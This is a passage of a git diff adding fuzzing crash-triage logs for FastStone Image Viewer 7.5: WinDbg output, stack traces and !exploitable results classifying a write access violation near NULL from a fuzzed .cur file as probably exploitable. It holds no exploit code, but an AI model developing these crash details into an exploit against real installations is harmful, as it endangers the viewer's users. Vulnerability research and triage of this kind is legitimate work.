00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(125c.954): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=0fc54fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.489530000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.34663e+008 -1.96489e-032 -7.40458e+030 6.83759e+031 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0022f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0022f000 4ba9418a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0022f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..31d547b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(125c.954): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=0fc54fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.489530000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.34663e+008 -1.96489e-032 -7.40458e+030 6.83759e+031 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0022f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0022f000 4ba9418a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0022f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..941dab1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..21777a1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c42ddd3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x120: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x120: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 